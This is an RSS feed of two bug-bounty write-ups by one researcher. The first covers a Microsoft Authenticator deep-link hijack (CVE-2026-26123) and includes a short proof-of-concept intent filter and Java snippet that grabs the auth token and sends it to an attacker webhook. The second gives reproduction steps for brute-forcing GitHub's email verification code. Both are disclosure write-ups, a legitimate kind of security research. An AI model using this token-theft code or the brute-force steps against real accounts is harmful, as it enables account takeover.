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        <title><![CDATA[Stories by Khaled Mohamed on Medium]]></title>
        <description><![CDATA[Stories by Khaled Mohamed on Medium]]></description>
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            <title>Stories by Khaled Mohamed on Medium</title>
            <link>https://medium.com/@khaledsec?source=rss-7d5a199275ca------2</link>
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            <title><![CDATA[Microsoft Authenticator’s Unclaimed Deep Link: A Full Account Takeover Story (CVE-2026–26123)]]></title>
            <link>https://infosecwriteups.com/microsoft-authenticators-unclaimed-deep-link-a-full-account-takeover-story-cve-2026-26123-e0409a920a02?source=rss-7d5a199275ca------2</link>
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            <category><![CDATA[cve]]></category>
            <category><![CDATA[microsoft]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[zero-day]]></category>
            <dc:creator><![CDATA[Khaled Mohamed]]></dc:creator>
            <pubDate>Wed, 25 Mar 2026 19:56:06 GMT</pubDate>
            <atom:updated>2026-03-27T11:01:47.938Z</atom:updated>
            <content:encoded><![CDATA[<p><em>When your authentication app becomes the weakest link: How an unclaimed deep link exposed millions of Microsoft accounts</em></p><p>The story of how I got a CVE acknowledgment in Microsoft, the second CVE ever in Microsoft Authenticator (CVE-2026–26123).</p><p><a href="https://khaledsec.medium.com/e0409a920a02?source=friends_link&amp;sk=df506976e7c2d15fd29e70725873f6e2">free link</a>!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YJYxX808TjD6CO-1oSZ-yw.avif" /></figure><h3>TL;DR</h3><p>Microsoft Authenticator’s ms-msa:// deep link, designed to securely onboard and sign in users or enable 2FA via QR codes, wasn&#39;t actually being claimed by the app itself. This oversight created a perfect storm: any malicious app could intercept authentication tokens, leading to complete account takeover—bypassing 2FA, password requirements, and every other security layer Microsoft had in place.</p><h3>The Setup: When Convenience Meets Catastrophe</h3><p>Picture this: You’re setting up Microsoft Authenticator on your phone. Microsoft’s web interface generates a QR code. You scan it with your phone’s native camera (like most people do), tap “Open link,” and…. You just handed your account to an attacker.</p><p>But here’s the kicker — you’d never know.</p><h3>The Anatomy of a Deeplink Disaster</h3><h3>What’s a Deep Link ?</h3><blockquote>Android deep links let you bring users directly into your app content from links they have tapped, such as from web browsing, search, notifications and more.</blockquote><p>Deep links are URLs with custom schemes that launch specific apps. You’ve seen them everywhere:</p><ul><li>spotify://track/... opens Spotify</li><li>uber:// launches Uber</li><li>ms-msa:// should open Microsoft Authenticator</li></ul><p>The key word here is <em>should</em>.</p><h3>The Bug: A Case of Digital Abandonment</h3><p>When Microsoft Authenticator generates a QR code for account setup, it creates a deep link like this:</p><pre>ms-msa://code=M.C544_BL2.2.U.60e61ddd-1d08-127d-d783-bda9b7v&amp;uaid=88498cfad78b4669aaec4b7a1c8&amp;expires=3964722534</pre><p>This token is gold. It’s a direct authentication credential that bypasses everything — 2FA, passwords, security questions. It’s the master key.</p><p>Now, here’s where things get wild: <strong>Microsoft Authenticator doesn’t actually listen to this deep link.</strong></p><p>when the deep link is triggered from:</p><ul><li>Native mobile QR scanner</li><li>Web page click</li><li>ADB implicit intent</li></ul><p>The result? <strong>Error. The app doesn’t even open. Clicking on “Open Link” will open the attacker’s application.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*IpxEiFjXGe4XRhzSEpmJUA.jpeg" /></figure><h3>The Exploit: Deep Link Hijacking 101</h3><p>Since Microsoft Authenticator ghosted its own deep link, any app can claim it. No competition. No user prompt asking “Which app should handle this?” The malicious app wins by default.</p><p>This works on the latest Android and IOS versions, as well as the latest Microsoft Authenticator release.</p><h3>Building the “Fake Authenticator”</h3><p>Creating a proof-of-concept was almost embarrassingly simple:</p><p><strong>Step 1:</strong> Register the abandoned deep link</p><pre>&lt;intent-filter&gt;<br>    &lt;action android:name=&quot;android.intent.action.VIEW&quot; /&gt;<br>    &lt;category android:name=&quot;android.intent.category.DEFAULT&quot; /&gt;<br>    &lt;category android:name=&quot;android.intent.category.BROWSABLE&quot; /&gt;<br>    &lt;data android:scheme=&quot;ms-msa&quot; /&gt;<br>&lt;/intent-filter&gt;</pre><p><strong>Step 2:</strong> Extract and exfiltrate the token</p><pre>Intent intent = getIntent();<br>Uri data = intent.getData();<br>String token = data.getQueryParameter(&quot;code&quot;);<br>// Send to attacker&#39;s server<br>sendToWebhook(token);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*0z15RwBwf7LquSbaIMLaog.jpeg" /></figure><p><strong>Step 3:</strong> Profit</p><p>With the stolen token, an attacker can:</p><ol><li>Generate their own 2FA code from the Authenticator</li><li>Login through the Authenticator</li><li>Gain full account access</li></ol><p>Services accessed through this compromise:</p><p>Email, Office, Microsoft Teams, OneDrive, Skype, Outlook, and etc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*NVMLHsHW7tTQXlezPx8SOA.jpeg" /></figure><h3>The Attack Chain</h3><ol><li>Victim visits <a href="https://login.live.com/">https://login.live.com/</a></li><li>The legitimate Microsoft authenticator linking page</li><li>QR code is generated with ms-msa:// deep link</li><li>Victim scans with native camera (standard behavior)</li><li>Phone shows “Open link” prompt</li><li>Malicious app intercepts — no Microsoft Authenticator in sight</li><li>Token sent to attacker’s server</li><li>Attacker logs in</li></ol><h3>The Impact: Full Account Takeover</h3><p>This isn’t a theoretical vulnerability. The impact is severe:</p><ul><li><strong>Scope:</strong> All Microsoft account services (Outlook, OneDrive, Azure, Office 365)</li><li><strong>Bypass:</strong> 2FA, password requirements, security alerts</li><li><strong>Detection:</strong> None. No notification to the victim</li></ul><p>The attack requires minimal user interaction (scan a QR code — something users are trained to do) and zero suspicious permissions for the malicious app (just internet access).</p><h3>The Fix: App Links Done Right</h3><p>The solution is straightforward but requires proper implementation:</p><p>Just Implement App Link Verification.</p><h3>Lessons for Security Engineers and developers</h3><p>Audit your deep links, implement App Link verification, and remember that authentication flows deserve the highest scrutiny. After all, you can have the strongest lock in the world, but if you leave the key under the doormat, it doesn’t matter.</p><p><strong>Critical and yet simple vulnerabilities still exists !</strong></p><h3>Timeline and Disclosure</h3><p>This vulnerability was acknowledged (CVE-2026–26123), mitigated and responsibly disclosed to Microsoft Security Response Center (MSRC). The proof-of-concept demonstrates the issue without requiring extensive privileges — just internet permission — making it particularly dangerous.</p><p>Customers are advised to update to the latest version.</p><p><em>Disclaimer: This research was conducted for security research purposes and responsibly disclosed. The techniques described should only be used for authorized security testing.</em></p><p><strong>References:</strong></p><ul><li><a href="https://payatu.com/blog/navigating-the-depths-of-deep-link-security/">Payatu: Navigating the Depths of Deep Link Security</a></li><li>Android Documentation: App Links Verification</li><li><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26123">Microsoft Security Response Center (MSRC)</a></li></ul><p><strong>About the Author:</strong></p><p>Khaled Mohamed is a cybersecurity engineer with a focus on security researching and application security.</p><p><a href="https://linkedin.com/in/khaledsec">LinkedIn</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e0409a920a02" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/microsoft-authenticators-unclaimed-deep-link-a-full-account-takeover-story-cve-2026-26123-e0409a920a02">Microsoft Authenticator’s Unclaimed Deep Link: A Full Account Takeover Story (CVE-2026–26123)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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        <item>
            <title><![CDATA[How I was able to takeover accounts in websites deal with Github as a SSO provider]]></title>
            <link>https://infosecwriteups.com/how-i-was-able-to-takeover-accounts-in-websites-deal-with-github-as-a-sso-provider-294290358e0c?source=rss-7d5a199275ca------2</link>
            <guid isPermaLink="false">https://medium.com/p/294290358e0c</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[authentication]]></category>
            <category><![CDATA[github]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Khaled Mohamed]]></dc:creator>
            <pubDate>Tue, 25 Jan 2022 07:35:46 GMT</pubDate>
            <atom:updated>2022-01-25T07:35:46.816Z</atom:updated>
            <content:encoded><![CDATA[<h4>How I was able to take over accounts in websites deal with Github as an SSO provider</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*j296k3aup2MvnRuoUN8qmA.jpeg" /></figure><h3>Introduction</h3><p>Hello, fellow hackers and security researchers!<br>I’m Khaled Mohamed a Cyber security engineer at Heroic cybersecurity, Welcome to the first write-up I hope you enjoy it, let’s start. <br>First, let’s know what is SSO and then get into the security issue.</p><h4>What is Single Sign-On (SSO)</h4><p>Single sign-on (SSO) is a user authentication tool that enables users to securely access multiple applications and services using just one set of credentials. Whether your workday relies on Slack, Asana, Google Workspace, or Zoom, SSO provides you with a pop-up widget or login page with just one password that gives you access to every integrated app. Instead of twelve passwords in a day, SSO securely ensures you only need one.<br>Single sign-on puts an end to the days of remembering and entering multiple passwords, and it eliminates the frustration of having to reset forgotten passwords. Users can also access a range of platforms and apps without having to log in each time.</p><h4>Description</h4><p>I decided to take a look on Github after starting with recon I found nothing interesting then, I moved to the next phase I started with account creation, creating an account in Github is so simple after creating the account you should be asked to verify your e-mail with 6-digits code sent to your email, I went to my email and found that there is a link sent along with the code if you are not able to enter the code manually, the link contained the same 6-digits code sent instead of a token or something like that it was a bit interesting, there was strict rate limit if you tried to enter the code using the manual form, so it was impossible to brute force the code through it, I tried to brute force the code using the link and bingoo !!</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F13025505&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fsteve-carell-office-exactly-bingo-gif-13025505&amp;image=https%3A%2F%2Fc.tenor.com%2F3j-7CezvEAYAAAAC%2Fsteve-carell.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/3c8e967d9f2c4bfc369cc47b6bbc7fed/href">https://medium.com/media/3c8e967d9f2c4bfc369cc47b6bbc7fed/href</a></iframe><p>There was no rate limit, I was able to successfully brute force the code, I sent about 130000 (one hundred thirty thousand requests) till I got the valid one.</p><h4>Steps To Reproduce:</h4><ol><li>Create an account with victim email.</li><li>In this form (“<a href="https://github.com/account_verifications%22">https://github.com/account_verifications</a>”) click on (“Resend the code”).</li><li>Open up a proxy, to get the email id.</li><li>You should see POST request intercepted to this url (“/users/~username~/emails/~email-id~/request_verification”), here is the email id (‘~email-id~’).</li><li>Update this URL with your email id and username to be like this (‘<a href="https://github.com/users/khaledsec7/emails/169440443/confirm_verification/000000?via_launch_code_email=true%27">https://github.com/users/~username~/emails/~emailid~/confirm_verification/000000?via_launch_code_email=true&#39;</a>).</li><li>Finally, send this request to the intruder and start code brute-forcing.</li></ol><h4>Impact</h4><p>As many websites deal with Github as an SSO provider, if someone has no account on Github an attacker can take over a user’s account in those websites by creating an account on Github with the user’s email and then take over the user’s account in those websites.</p><p><strong>Timeline:</strong><br>Aug 5, 2021: Reported.<br>Aug 5, 2021: Triaged.<br>Aug 10, 2021: Severity confirmed <strong>High</strong>.<br>Aug 10, 2021: Resolved and rewarded.</p><p>Thanks for reading.<br>“<a href="https://www.linkedin.com/in/khaledsec/">https://www.linkedin.com/in/khaledsec/</a>”</p><p>🔈🔈<strong>Infosec Writeups is organizing its first-ever virtual conference and networking event. If you’re into Infosec, this is the coolest place to be, with 16 incredible speakers and 10+ hours of power-packed discussion sessions. </strong><a href="https://iwcon.live/"><strong>Check more details and register here.</strong></a></p><p><a href="https://iwcon.live/">IWCon2022 - Infosec WriteUps Virtual Conference</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=294290358e0c" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-was-able-to-takeover-accounts-in-websites-deal-with-github-as-a-sso-provider-294290358e0c">How I was able to takeover accounts in websites deal with Github as a SSO provider</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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